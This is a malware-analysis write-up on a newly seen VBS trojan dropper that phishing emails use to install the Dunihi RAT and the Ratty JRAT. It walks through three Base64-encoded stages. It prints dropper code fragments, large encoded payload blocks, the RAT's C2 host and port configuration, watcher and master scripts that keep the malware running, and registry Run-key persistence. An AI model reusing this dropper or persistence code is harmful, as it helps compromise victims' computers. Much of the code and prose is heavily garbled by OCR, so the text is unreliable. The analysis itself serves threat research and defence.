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In this article, we will analyze a new trojan dropper — so new it has yet to be named. Itis a
newly observed VBS malware that uses multiple layers of code obfuscation and very well-
structured code to drop and execute two embedded RATs.

For now, I’'m calling it “Schneiken:” https://github.com/vithakur/schneiken

There are three main layers of encoding. All encoding is in Base64. This particular malware
works by dropping two RATs on the disk. The first one is Dunihi RAT and the second one is
Ratty JRAT.

Some malware only using half the code of this malware, have also been discovered in the
wild. Here’s an example, wrongly being detected as Valyria by some AVs
(1213003eb7cb1e26a97dc310f47892fc). This malware is only dropping the Dunihi RAT, not
the Ratty JRAT.

Let’s begin analyzing this malware by looking at the flow of the campaign.
Campaign Flow:

Phish > HREF > PDF > HREF > ZIP > VBS > Dunihi + JRAT > C2

Code Structure:

Stage1 > stage2

Stage2 > vCNkCxcKEd.vbs > Dunihi RAT AND Stage3

Stage3d > Ratty (JRAT) + Watcher.vbs + Master.vbs

“\RATTY jar’ — JRAT
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“WrXvOIRHjpw.vbs” — Watcher

“\UhVHQVjFGb.vbs” — Master

Analysis

Let’s take a look at the execution, step by step.

Stage 1

At this stage, the code structure is quite simple. All of the stage 2 code is base64 encoded
and simple replace statement fixes minor obfuscations that are there in the code to add
another layer of obfuscation to the already encoded code.

Conat TypsBinary = 1
Const ForReading = 1, ForWriting = 2, Forkppending = &

- BHPFrivate Function decodeBaseéd(baseéd)
& Dim DM, EL
) Set DM =|Createdbject (" =cft . MMLOOM"Y

Set EL = T, c*cu:e!imnr_[ ¥

EL.Datalype = ™ baase

EL.Text = baseéd

decodebaaetd = EL.HodeTypedValue

End Funccion

EHPrivate Sub gajdfaikafshafJESFGIKLK()
15 |ExecuteGlﬂb&l decodetd (Replace [ "RGLcIGxvbadTZXhOMOpat
16§ End Sub &

—Private Function desodsdd (exe)
19 Dim DX, ELX
Ser DM = Createlbijece ("Micrasofc  KMLDOM™)
Ser ELN = DMX. crentz!lmnti ]
ELX.DacaType = * baseis
EIX.Text = £xt
decodedd = zzzzzzzzzz (ELX.HodeTypedValue)
End Function

B BB BB B RS F

Encoded code, that needs processing: Decoding and Replace

BHFanction rzrzzzrzzz(Binary)

Conat adiypeText = 2
Const adiypeBinary = 1
Dim BinaryStream '"As New Stream )
Set BinaryStream = |::EE:EW:EGEI ADODE. STream™)
BinmaryScream.Type = RAdTypeEinary
BinmaryStream.Dpen

& b Bimary3jcream.Write Binary

36 BinmaryScream.Posicion = D

37 BimaryScream.Type = &ﬂTmETEXT.

38 BimarySeream,CharSes = ©

39 EZEIZEZ2ZE = BinaryStream. EE-&d.TEkI'.

a0 L  Sec BinaryScreas = Nothing

41 End Function

42 gajdfaiksfshasf JREFGikik()

Take a look at the “zzzzzzzzzz” function. It uses the ADODB stream object to process the
string as binary data. This means that the decoded code can be executed after it has been
successfully decoded.

Let’s take a look at this code block and layout the purpose of important lines:
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Efanct ton sassrsnss{Binaryh
Comst saTypeTest = 3
Const sdTypelinary = 1

Ein Bisaryisress ‘As Hew Jsress
Bat BLAATYIUIGEN = CHadTatn el (~a0o] men T Al BT S
Bazaryinresn.Tige = sdTi3alirary » Specify stwam typs - 1ave bnery dats
Bisarylt reas, Cpan
Bizaryfrrean. Hrite Binary = Wi bisary debe 15 the object
BisarylEcean. Fealiica = §
Sizaryiormen.Typa = adTypaTent & bare we Speciy Eieam iyps - gt binsry dets
Bisaryrirean.Chacietl = ~ TN R
ESEEEEIEEE Bizaryitress. ResdText
et Bitacyiicean = BOURLST » Gaf biekry deta feam Be objest

End Fansiuan

a7 AL EsEans TR R RERy )

This function is then called on by the Private Function “decode64”, which in turn uses the

Microsoft XMLDOM object to further process the data.

The last item to be called id the Private Sub, where all the decoding takes place.

As we can see in the block below, the encoded data streches into almost a thousand lines.

FREKEL] ALY E8 L EANEEE YT s aG NN FREL S0 T Al e VR EGRK L L WY E M0 f e R E RSP PRl pWa e VN EeS YTV S A NES PRSIV E LS FV W Ui
FETRUEEHE ) BeoE © sHKEa 0 50 ) BeoE T sFKETRE af 2 TR WVEeGIRg JBLR ] FOVES aFHR VTG 5 c8 ks a ¥R dhH kI TT U d oamTWe | 2THGEHL TRdieevT
YRt SV1ENEl aall lakpNU s BaREt s S TV L c WGl Eak L WXV L I F Wi E 30V L pole Pl o U e N e VR IO R AV AR 2 e TOSX TR VEREE VRpacl
CAREHE TVUL ARG LS LG ) HZ adHL TUETWRE s oK T INGRHTVEaWE 1 I QkRL VTV wiKp AV LowbER TEEhp TRKaHFRGI FNL VO LIV 1 S anfVEER TV ARG 1
A I e SR I AT Iz n e I EpRa A 1N Ba S F I g U Ries sHT TuliF 2o F 1 TECBKUT JaMl e e h RS UY T JERE-TVHN S T o koW | Ba R ftu ol SR =W
KR e AP T KT U0 I Ed FpG I DR HEp S TS SV EoFV I HGR VWS e FaGCHNTR VDT TdS S Moy TEs R 3 BA TV I R NI EchWp)eW0 L TO Lo FhL FES
HWNET YT ud® | TEaRpl ) J 34 MuZ CF S ROp IV BNa NIV EXER 4 £W  BacE CHER VMR A0 Pl eV gqa FIn AR ] YV AR S E LY S e VUL SVEVI VT RELE
WREIN L IVowbERLD DT IVESVht TEpReXBIN] BeRE sHWI TV L aWG ] kaVIEvnl Iakpl Y 1V Vp IRmp i NETISW0 287 EYR11 TRXhATT FFH L kylK.T
ARD WYL ASHEVHE L1 VP vifile EVab e FRTHFEO A 04 i Mw T 1 padile £ 2 B 5 TV 0V VHEE D 10V T el Vie XY 3890 M0 i la ) 2l dscl ol
PAEBGhFT ldie 1V a5l Heman i d TR Jac F1VETFpTRS oo ldaalpi MG T VRS pa FAGcHNUR s VDTS S Foy I chT X1 T IoR FHRIER Ve LY INE Tk F3T0
EpE T EL VAR FFeoOh TR e BT el P FRLE RO 1 V08 1 o HELn RS Wil D Iy TalFEb ) 1 O ndd 1 n TR P T FRTTBad F1ET 1 kD 51 VideYVd
WHTDa QDL 7o Sl THRR VRS Dz FuRT SN dl p SV I 00T I e VI RRcIRAE TR 1 MO dma G SR R IV e b nan VR F Te d RXVE0brM e G L Vel uRlpaT
2y TeRONHESTT B 1 iowa FHLY L IF ETROaN TV BBE 1 sW050a 1 HM ARE T 30 FeaE SYREpRNEpe V1 2T 2 TnbEn Vimn oW 0 Tuva LV EHNE VR IVIS
IR IE e LI T VR Wl LTE Qe s UL Y ] k3L P ervalExE S w1 b L T M R RE R A w I Vo b I RLEO ol L Ve d TVEIRRak Ta TR s aN L do T ET AR
Al=ES ST FNET n RV EYI DR A LR IR ETT Jea FINEDRL X1 OW ]l oal TyyIH4TONE] ¥ TS L FS a0V aldunE 3wl b ASNTE FYESRETR vl Ve n e PV SRE
Lo Rk S FT IR Tl EIGhTREL JRT B MW TR BOWGREVIT LML 1 g T FAEHBT VW1 AR FGR ex a7 B g Fdgiml A WTRIEVE WAV T=S Rzl
THpsHldsalrnRl JT YWY aHDE Ee et T naFy PRy G Re T B 1N Bs RPN SH0 w2 w el 2 FrReRED ] g THE 430 a e HDRaMHE? YT s TSI TV
MATW] FFFTTml e ] T e T M bHBOR T x0T T I M T | HaMG xS pla el sV E veh DTV S g U e KA1 TG 6 1 I NI Eph DML T IVad FREDERL
EXE 1YLV s 307 T VEpdH e v T EHIREL FRMV I RETTERA ] Ry AL RTEaY O da W TRRes Ie R EXVWiel wad0F AL Fox V1 ROUZNE SN 1 ORI BT 0dsdl dped
JaMkl 307 A G0l gRnd I CRNIVAIAGIHCG M e XA LT I VaS TR ERVIFE THLAMV1aZGEER I IV TRAEE ] ol IHGRNIVANaTRY
SEDTaRrFRIVANERITHE L WV M EHEY I KWL owbEn PREE = Y1 ZalV] 6 3nd kbOpw S Iw c LIVl paHl JTYTA 4 aWFVE ) IKNGLRNGD s 51 Eve DIXBORFTVA0A
NINmlhVUpsNT ISR TabAbexh ¥ OUGe M1 FiTakp0vepSal talk I THLIIVGL aa ki 1 VIbGRH T TJGNE SXp S REJuNKpNLI THIEh 1 STpaTics
FETRpaMHETW] 081 dES nNEMeT x8T1 k81 FLodVadan FPI0 s YV eaHpl akplY 1V IVHT I FEM 1 I LI o0 TFRERT & aOTUZaYVAED ) EVREVIDnS
WelpVIF Iyl T2 VoS L EwbG S TEx DY N 1 G SV 00 S LEE Z AT VONL oy R ROWNEE - 1 Banl 1 0 IFN 3 A0S Iw 1 APV EMEVO L SV oaV T 2aDF0VeNeY
P 1ds Y 2 FREESu T DTV a0FmS 2akpl Y 1 2vdVRURRF S eme SN O BTRa b PRV TREVTBE . ViV dhR LT Ve b s ReT Y Qe VE S 5W ] BOR P uc FpHMEB3
KIROUL 4 p T e b G 0 ¥ Ok N DV el ¥ T2 00l p I Vel Semc vV I e N e hgb EpSa L ¥ WV IEE HH S e R DIOTRE Ve pW e L BV IR VIS 0 ¥ iocx 51 JELHR IV
REV1daTWVWVEGE ToWc a5 1 sa Fd FHTBI e kpil FIwESITVaF 1 Vnull 100 Ve Tkhl SEJx 0 FalVHVT LpaMKBO TehOTd0W ] VZad 4 2 W ] PudF JuTmpll
akpl¥iatsiFdgiep e Aie R Do0dy SX L EpXRaiYes wel B ET el lip 1 VED 4o aVied 3112 « SVEL a7 F e bp S Tl Aioiief s ViRV 2 2002 e e
VHEp WS T kRGTHT L1 TE R S EW ] J0E LK a1 VeB I Vet s S L JE QTR VI A EaW W VdER e B ] IF L eV TRnpHDF IV x JHNEWDE LaSEJr U] TRTFLES
CRNIETFS) SONFEVEGL 1 V] reW i TNEHe GL AV ED VIR0 1V R IpVE ESp TR S T FE s N 00V EpCa FT En DT VHRE I FASHE L 00 pi ol s BV
cHEcHel IsNEVRc I Re Snb iMEREY L Tve FLcHD SHRSIYT ANWS L InW ) FaRaN 42 DI0dE SX oG FXRTUZ UL VObRAFTRE § SFpp N W Eol kyWTt kbTEwieEaY
AlEFeDIOFERX TN ONT L DR DGR = VTR OlsN Tel MV TipeWT 152 ke TnSkbesn VD0 Flal FlaepdVepSa 0t a0l THEL SYDadaVI 2a DIV FIIF

Now let’s take a look at the flow of the code in this stage:
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Private Sub gajdfaiksfansfJESFGIkfk()
ExecuteGlobal decodeéd (Replace ("RG1cIGevbmdlz
End Sub

MOpab2 SnVEY

Privace Funccion decodegd (Txt)
Dim DX, ELX
Sat DM = CreaceObject("Microsofc.XMLDOM™)
Set ELX = DMX.createElement ("cmp™)
ELX.DacaType = "bin.base
ELX.TexXt = TXT
decodetd = zzzzzzzzzz(ELX.HodeTypedValue)
End Function

ElFunction zzzzzzzzzz(Binary)
Conat adlypeText = 2
Const adlypeBinary = 1

Dim BinaryStream ‘"As New Stream
Set BinaryStream = CreateObject ("ADODE.Stream™)
BinaryStream.Iype = adlypeBinarcy
BinaryStream.Open
BinaryStream.Write Binary
BinaryStream.Position = 0
BinaryStream.Type = adTypeText
BinaryStream.CharSet = "us-ascii®
ZZTzETzIzz = BinaryStream.ReadText
- Set BinaryStream = Nothing
End Function
gajdfaikafshafJESFGIkEk ()

And finally, let’s take a look at the encoded string itself:

BHFzrivace Function decodeBasef4 (basefd)

Dim D84, EL
Set DM = Createtbject ("Microsoft .m.nm-ﬂ
Sat EL = DM, creacsElessnt {“t=p") This enceded string below
EL.DacaType = "bin.based4” should give us the Stage2 coda:
EL.Text = bDasetd Encoded script for Duhini RAT &
-  decodeBasedd = EL.HodeTypedvValue
End Tanction Encoded script for the Ratty JRAT

HPrivace Sub gajdfaiksfshafIRSFG]kLk()

ExecuteGlobal decodedd (Replace|

"RELEIGxvERdUIXRIMOpab2 SaVEV4dDEGPS* " AUTI SdWHzURAR 3Gx SWLVESGItRal 1D0ESSURF3 1EyO]
VEEpWIG1GHEpTRkdkVVqIEdsdnIpOmTav 52 WkdWQl 1 Tex0a 1l FvRWL Ge lpUWTBLUWInSUVS oG-I QK"
QOIGVENSCUL Uk SHEU S SW1AGHEFRpVVRNaV FaYeSER01oUnRI Q0 1w0 I 1B LIVA3VER 0 WW W SHWRH VW,
TleWlZ S Vet WbU Tz ZFdVE L NN T SRV o ¥ ml OMGEXOXVDZ IBRY2 1 aM1 1 YUmx JRc4AxWW 1T 1 1X oGt al
Ve SHTtwHEYE S I TR Bz VI RJNWERCcF LTV R WAL qT 1dnM e Z¥TIRCS] Fya MFTHOSDIW] FemJ I ZGF V]
VRV G T XdEVX RV TUR STV VEQTVIRLFIZEZCVE 1 EDE INRE InVUZHAOSVImE Rz 1pTT* ~ O LNV dadMl
FITdkSmFRRed ZNGhDYTF sV Ve aE e VHGxMRWE j MW acHR i SEShVX Iw ZUSVEE 1 Vbax r'Vi FWTFLlr¥z FibH]
VEZRA2 REJ1RNRGENVERCHEVGTXAFVERVTUhSTVVEQTVURL F 30z BOd FVuCml VHE o 2WVVEVZMy S kh PV X
kW kOweHdZMGh S IFdNeWFHeGl SHIRW T2 FGA2EYRIRNRIRRY1ddeldaaER0VO 1 6VH14aVIELHBIVIRII
VZIMWI reHRXDkIpU]) FallpWaE SNRRBY TVhaRmI Y QniliVE S 5YVVIURNHAGhWe KTuW VoD IHT khFVIxol
RCa lHDeGW VRS Y JBORGFNT TV URL F3ZEZCVE lIEEEIWREJuWT Bo S HHURRSa kJEU0ZWh Ll ka3 amxiv]
GWVEQUEliazVENT Inc2QyUkRCVIhpV ) FWT FLET IMRROS1VWRGa 1 FEocGV VR VGO SV Y zapZakp LY 1Y
cliWaFpadiIUTH SwaF IxWnpZaiHl ¥WAGoE SXeGxTRUpvNROx U2 JHED Vb kg Y1 RaMV1 a2 FdicV 1 J WG
ELTW1piVzkxV2OwiWHxcEhWbmxhV0dod1 1 6T1N1aRI YikhWak0x3maZa2 00 YT JGRVHY QkpTRkp2Vax i1
HFHHAZM) F2ZFZwel RXOURRV113V2 k3 eG0we FRTWE JEUTFab 1 NX& DNV S 1VES kaV I yd 3dNEGhER § FCVI
W3 ZZMGML ZFdNeVIVAGE SMngwUIVETZRGEIFYbkIYWVZJdloyTkhSbmxaVapCTEIWY 2FiVRol S2w0NVT
TEREEUROVmS aaW N HANENRRI Y CVE LEDE INREIWVUZRGO SVEERUD LphU) FWEL 16T IHRROS LVVd KT
K LVVEREW] B 1o HU S HRme YT 1w VWY QN p 2 VWRE Y 2 PV Foiep i bR pz UT Jed 2HHSnV e kJaViHoe 1E Y
BOVHxw I DT s SmERdEXXVE L 4 Y TBaRU L HZ GpHMER SNV ZoU lowdE ) TRX T TEBFH] A tHU SRR VES kaVIpd:
BRMatxWE1 k51 FEcGVaMExJ W]l camVdj BTVVF 3] FreUlX4dF pRMmQ0Uz FGd L owbERLEDVULVOQE JHV]
REXBpV Fob LMwllk2 j RUSWwS 2wl b INVIX FYERENUnpabifds ¥ zVikVme SV1hEWkluaDJZe kpWDzBaRE t aliN!
BEHRRY0dFS FIXIExSMngxWXpOU2 FHSKh1RIRoVOVELIHtBEN I ROpIVGRCHL Y zaHpIbT FHZEZWVE T s X!
GxES2wlbllg3TFARDLSTIaWwiVVEVRFZa2H] INewTInI Y ZEpReXB 1W) BaRFFucGhIHVReRWT 3 NWFXRaEO
hpUiNocllWaEpaMABWTWSCaW JeNHAXVEQO Y 2 JRAF JulmfVeXBl Y1V aSFREOWphVIQZVET oo IMWEERLE]
HEGLES LHGW ] FIVveEHx ZW1 SSTTuTrl LDV 3 W aWvVETeEpRME = " 2VI X I MWEWEGS I MMR KT 1 WEVowEERRE]
RN ISBINVTXFYDNREUTBENL INaFNARnBITIRCaW Y a D VeRT Y ed O F P e oG LU ZuUzB SR Fe EnUD,

RS T e B i o BT T PR B SN R S R o AR PR P R e o R MRS ST I A S W P B R S Y oo e B AR

Once decoded, the malware moves into the next stage.

Stage 2
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In this stage, two important things take place. First, a new file is created. This file, as we can
see in the code block below, is named “vCNkCxcKEd.vbs”. This file will decode into the
watcher code that makes sure that the code is running at all times.

Dim longTextl "this should giwve wp "\vOHECxcELd.vEe™ - whichk i® also The watcher.
lesgTextl =
"“"J--E“‘q'.-':‘lv"l.'.‘-;.tz‘ l:_‘m.:"DEP"-gJ":I gty eI 0l ulyASIOES TEIvel
::':‘I.CS-..«..I:E'[.'I".'.P“‘-: FHLACBFTCA
1 I¥ERL TFNLYTiBnYWpkinFpal

Mz .:mu 11;‘-5’- g ] LIRD 5"-“11‘_1"' FRXOWINEVIQIER
:! :w"!i[“.'ﬂ-: SCpaalt R0t DasE T Fowd FETHD LT 0 R BIEFpoT2kgX] LEVDBO T
LIxYORJICEL DWW ToHERDE 1oc
1l ANGEWT THSe KT HE

e Yl GAPETRL SETHLE

HIRSSpesl] DRWATManES

ke "{mdviFg.T‘-. 1emBMARNIK1Swal
SORFsExHTARAD BaEIHE]

n¥] I 1bGIyERpaTz VoY ke S5elpRb2 dJ0ype Z0
SHADEL 5o S THgRmd KO 5 q¥3 1 adz RIMNChKY ?\'J" Spech
0% M0 $8 1 Mg ] § Mmnnld 13xn 1 1

23¥ et aFpbikl Sy a1 0 Mgy a P TMR
D01 Tgmy o M F02 A4 31 FvI ol EEHTFLV] poiimingie )y R
HHR ) SEpIWIJN L T1h i I Mk T T AFHF R {01 LST FrypelINHRR]L IV
GTHdddLSESo I 1-dE T TF1 Z iR L
HgE=a Iy peliNHERL
ST gy R
UnBi00JrYelddllchdraRd

I:l:"||:"|H' IZY o SaNFRH
HGSSL’HWJH‘H’-'_‘.HLV.

i "-.E Yedwad .'".L“.‘Z-Jﬂ:n]' LEWS
OnlENFpaTELasvVpXvng
TALSTHqmd TR L pwl ko e B T FIWW L Ve Od TR BRI IEM] e.:::.;-r'l! SrJtIrddcaJeRnfalypecil}
cEHHANE 41 v:\ﬂm.m:w h FAABFpYasBAN1 Jé Fi 13 AW INESED L DNNA TE D IR Iz YAl
EHEES PR RO s Ve L ad INVKEM YW EE RN e Pl u BalF i P igin i Le i FLEMNgiimd T X1 WickiEc?

:ﬂ"l:r.u_‘-a.dﬁ.“h tnl‘:*ii" '-‘.rC": R !|'I.‘:| dgnl FG0n S SWogXniis ] puiedie eRpEL Sn S pted 0y pe 12 FXNRAL DT ewES a4 dNE ylnBi R1VeZE:

The second thing that happens at this stage is the creation of stage 3 code:

E!r;:;umfm::um decodeBasedd (basetd) This encoded stri ng
Ser DM = CreateCbject({"Hiczoacic, XMLDOH®) should give us the Ratty JRAT
Ser EL = DM.createElemenc ("c=p”)
EL.DacaType = "bin._base&d® and the supporting code
EL.Text = basefd on execution

~ decodeBasefd = EL.HodeTypedvalue
End Function

Herivace Sub gajdfaiksfsbsfFESRGikfk() 'this should give us staged -
Executetlobal decodeéd{Replace(
VO IHRoI Vo IRxa I DOgQITLYNRL T2 JqINNOKC TXU I HyaXBOL1No IWxa [ 1 kKRGt IGFwcGRhdSFkaX I s IHRGINIE
PIBCACVTaGVaAbC S FeHBRERR FEn Ipcm fub M Vad Pl el a2 3Ha [iVhe HEKYX AR IS IpCaRe IR IpbEU P “ %1 VIV RETE
FEQUeBOUFEREd Vs yON S LA F1TDFCTEF 30U BY QURCaW VTl BRUFBGUFBQUFBQUFBUFBRGABLUFHL
Eimh kO L THVE T [ heVIEsW o g raDR I SENFRRERSGF4 VI VAIVEA]
PFRINT Skcz ¥ ITVHTHD l._u." r{3 L] DHWMSKElall S0l VhcmaSH ) gS0Uc BeStUOII vl
HEVEN 1 Hes k ke DL FANFOAE S Wead g F ORI . :E:\;EI;FGE‘\I" HEB1TEcAdTa2531 Dnl Q¥ ) TneWNTVI]1 ZH B80T
NS 0ol JeeGErHzl ZhkdeY ] LwV 1 F1VCSiMIEZN 04 0F Z L e HEFNT GV EAdERMY T FIZHgSc T EydnR PG ST IR IcHN TR gme
JYOHE rdxoe THR e UJ L QUDwdED 2 ST a0ew SAF X CHEN T L 3TV J L MehWVINIZGI g 1 FBcoHNOVE y ok VARC INANICTXE
COWEvdloc) ZgbZZal GV ibk SpdkJ Bz RGFFIFF 3clpd RN nEe S "N 1d3pGYeN LT LARcEpLLz D GIWSHdaT 0
EYThhlimihhz T zIGJI1T kR kalp Y TOWT INIeVIAVEpl RO DN RO Fw i WS Tp X0z Nz NN 9 LalUzUnRQSG50a THaR 102
CEEIelTwolixieEFpIUY Il x ZE FdRmar V2UyRmI YUGF oS L h 1MAIp ) Bmh IN 1 JWUN VBaZ SuRzRDeG 1 MUY sdWEWa z HEL
UhtTUFhpVa s 1M NDder gbN LgSEM VG F e I GR YN Oy L QanF P T U4 VAN LaWxh TVorHDAHa ESUZshhamh VT 1l nOI 6L 1
Vabz FEVTdhatldPUT YU IV IbzJaWil 1VEJHT O3V INTeGhEAN 2 5Um1 VL 2 € adl 9hdswwIANCURE rE REWRduSVRVVAE
JOTFEVESSYWFHOOV and s STEzNGR 2 TUL X TGIFonI TcHN V1 ecldeaT * 44 T2 0zbk YU AF S N0 82 52 Thyd2 Qe
IbaFebTBOczhd IVFYICoual IneWpilkh IMex i HE-SER Sz R IvRiende ) VAER L NEVR ] BnlOVind xRiog Wi e PH2 I xR
FTGIOHDFGVIZpTIN BT I¥IL2 STVIVERBZ t]en ¥ 20ChIVI RANGSwOGL e YR Y YNE tReVHLVEx M1 BviH 1 BN SmF
CADTHEHEI TaFpT ""‘l“hH' M1k ReEXpwOXNLTEOSe TOON I NneReHIW e OTT JUC L RGHX ZEATR A B0 e saXBpok S e s
&W 1 JBE S TWMOMn b g g 2akVcEdpRVpuoms ST IR YHR 1 GA0g L el VME O yRn Y2 SNFGerS JnRedr 1 105 e 202 R IO RO
Bleagin VPV dalI T e A0 LVT I 2LOR-MHEUOTR ETENBIOQ s THI 1 SHAGZ i cu MR FI kS TV QuwaWNRDANph Y1 ZELOTYF
10ImFeY1 B3Ny T2IMYzBx]
HlBnekxBdndphl !‘.5:".':23 kel B4gVREVERYRTUOVH R e Kk TkRub P AR ny QW Pd2 VERI Fpeh
haGd InXNH 1 bkt 4RV L YNEWVTHRR 3B NI ZTIE Fue kJ0CcnR ] Sk SaMFp T I pdCREZoT kLR Z FRuSHTaVT 2101 RFS 30 Y2 ]
EUkh2 OGSk 1MW sz 2 IHOGx N ABgWi B2 VETaa l pwSEFHzdkbl Ou ZH T2 Ry TnIVINIXH ] 03 Z zdac DV FpizlowIHTR
WoVeE VBT InY lolWn I FVHr SXhIKIAdFTMRLKer bER 4 YeR & Znphb R s NT AU pl X ox eXovb I FeXJt CEVRRDh ot

The first part of stage 2 execution should give us another VBS script by the name of
VCNKCxcKEd.VBS. This script, on execution, should give us the decoded, ready-to-go
version of the Dunihi RAT.
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ElPrivate Fancticn decedeBasedd (baseéd)

Cim M, EL
Ser M = Creavedbjecc ("Hicrosoft . XHLDOM"
Ser EL = DM.createllesenc("cep”) This encoded code would give
EL.DacaType = "bin.bas=&4™
FL.Text = basesd us the decoded Duhini RAT
decodaBasedd = EL. NodeTypedValus on execution
End Functicn
FJ?:I.-‘M.- Sub gt:dﬂ ks fanat IRSFGI kLR () l

= d.:mdeii 1F.gp1uoe {

This what the Dunihi RAT should look like after fhe ehcdded strl-n“g shown above in stage 2 is
decoded:

'£[ recoder @ houdini (c) akype : houdini-fx ]3>

0 e 0 e e conf:q e o e 0 0 ) Y 0 e o e

host = "pE2biteoin . com™ Duhini HART Dﬂmdnd

porc = 5000
installdir = "fappdacai®
lnkfile = true
lakfolder = true

'm_ == _m_= pu_‘b]_:_: PP E_EoE N N R N N N E_E_E

dim shellobj

set shellobj = wacript.createcbject("wscript.shell™)

dim filesystemobj

ser filesyscemob] = creacecbject{"scripting.filesyscemaobject™)
dim hctpobj

set httpob] = createckbject ("maxmli.xmlhttp®™)

'E_S_=-=-= QriVAL VAL S-S-S oS-SS oS S_S_=-=-=

installname = wacript.scriptname

startup = shellobj.specialfolders (“startup®) & "\"
installdir = shellobj.expandenvironmentstrings {(inscalldir) & "\~

if not filesyscemabd,folderaxiscs (inscalldir) chen inscalldir = shellebd.saxpan
splicer = "< § "|" & ">"

sleep = 5000

dim response

dim cmd

dim param

info = ="

Stage 3

This is the final stage of the main malware execution. This stage will get us all the files that
are needed for the successful execution of the malware.

Stage 3 results in creation of three files:
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“\RATTY.jar" —
“rXvOIRHjpw.vbs” —
“\UhVHQVjFGb.vbs” —

4 ¥ This PC » Local Digk (C:) » Users » ragnar ¢+ AppData » Roaming »

A

Marme Date radified Type
I« Adobe 47472018 207 PM File folder
L Microsoft 4072018 2:33 PM File folder
aces 1. Motepad++ 4A10/2018 2412 P Fule folder

4110/2018 13 AM File folder
4102018 434 PM File folder

__| RATTY jar 4208 53 PM JARFile
;ﬂ FRwCHR Hjpa 4M0/2018 7-53 P VBScnpt Scnpt File
}]Uh'ﬂ-ﬁ[thEb 471072018 7:53 PM VBScript Script File
.Eu{NkacKEd 4702018 4:34 PM VBScript Script File
Set theShell = Createlbject ("WScript.Shell™)
Dim appdatadiz, thefile, watcher, master, filename, watcherne
appdatadic = t’::E'::ll Emnnd!nvlrnmcntﬁtranq:{"* appd L |

[chefile |= "UEsDE
[FREEhReET |= "02%
[@aster]= "Q2%uc3QeVHIwZDIphm!
filename = appdatadir i "\ RAT
watchername = appdatadir & °
mastername = appdatadir & "\UhVH

writeBytes filename, d:cnd:ﬂa::ﬁ‘!lth:ﬁl:}
writeBytes watchername, decodeBaseéd(watcher)
writeBytes mastername, decodeBaseéd(master)
:Mshell-nuﬁ‘"""" B W¢t¢h¢¥ﬁm B ||||||||}
Private Sub writeBytes(file; bytes)

Dim binaryStream

Set binaryStream = Createdbject ("ADODE.Stream™)
binaryScream.Type = TypeBinary
binaryStream.Open

binaryScream.Wrice bytes
binaryScream.SaveToFile file, ForWriting
End Sub

ElPrivace Function decodeBasefd (basegd)
Dim DM, EL
Serc DM = Createdbject ("Microsofc , MMLDOM™)

Watcher makes sure the RAT and the master file are running. If they are not found to be

The first file to be executed is the Watcher. Watcher then runs the other two:

running, it executes them. Let’s have a look at the code block:
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Ser objShell = Createlbjsst{"Wicript.Shell™)
Ser wadOb] = Getdbject ("Winmgmos: oo\ cimva™)
dim filel, fils2, PIDL, PIDZ, appdacadir

appdacadir = agbjShell.ExpandEnvironmenticrings ("tappdata

rilel = ®R
£ila2 = "0 vy FGh . wha™
Cn Error Resume Hext

dim running

running = IaFileRonning (£ilel) .

if running = false then Master
PIDL = RunFile(filel)

clye

FIDL = running Checks if these are running

end if

Setr running = Noching

running = IsFileRunning (filel)

Aif running = false then

FIDZ = RunFile{filed)

alae

PIDZ = running If mot running, then run these files
end if]

Set running = Hothing

while true

if IsProcesaRunning(PID1) = false then

PIDI = RunFile(filel)

end if

if IsProcessRunning(FID2) = false then

FIDZ = RunFile(filel)

end if

Wacript.Sleep (100}

wend

funccion IsProcessRunning{pid)

Jar® % - RAT

if resplc.Countc > 0 chen

The master makes sure the watcher is running. If it is not running, it executes it.

Where Frocessld

Ser result = wmidbj.ExecQuery({"Select * From Win32 FProcess W

Set objShell = CreaceObject (
Set wmilhj = GerObject ("winm
dim filel, PID1, appdacadir

pL.Snell”)

Sroochcime2™)

appdatadir = cbjShell.ExpandEnvironmentScrings (®%a

filel = "rEKvOlRHIDpW.VDa™ W

Cn Error Resume MHext

dim running
running = IsFileRunning({filel) Watcher
if running = false then

PID]1 = RunFile(filel)

else

PID]1 = running

end if

Ser running = Hothing

while crue

if IsProcessRunning (FID1} = falas chen
ATAY - FoamTiTaiFfdiiadn

AFF

It also adds the required entries to the registry

obiSeall. Reg¥rite
WRIEIES SRR 11 80)

& padj

& appdatisdir 4

& Filel &

" & pid)

b Type Data
8| (Default) | REG_SZ [walue nct set)
25| stbDSIPInF REG_SL wicript “ChlsersiragnarApp Data' Reamang v OIRH pw.vbs™

b Ml CceKEd REG 57

At this point in the execution flow, all the files have been successfully deployed and
executed. The RAT will now establish connection back to the C2 and start executing the

wicript.exe /B “Ch Usert\ragnac Applatat RearmingwC Mk Cac KEd vibs”

commands it has been programmed to run.

Conclusion
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This malware is new at the time of this writing. The infection vector is phishing emails but it
comes fully packed and loaded to drop a complete JRAT on the victim’s computer and have
it up and running within seconds of execution.

At this time the embedded RATs are Ratty JRAT and Dunihi RAT, but for the purpose of this
post, we will not be analyzing those. | will include the details at the end of the post though.

All the de-obfuscated and decoded files can be found at one of my git repos:
https://github.com/vithakur/schneiken.

Schneiken Dropper:

FileName: TT COPY.vbs

MD5: 47f21544a7479cae3e20488731babaab
JRAT:

FileName: RATTY.jar

MD5: 9b93c76d2dacf7adaacfc1e99dae8089
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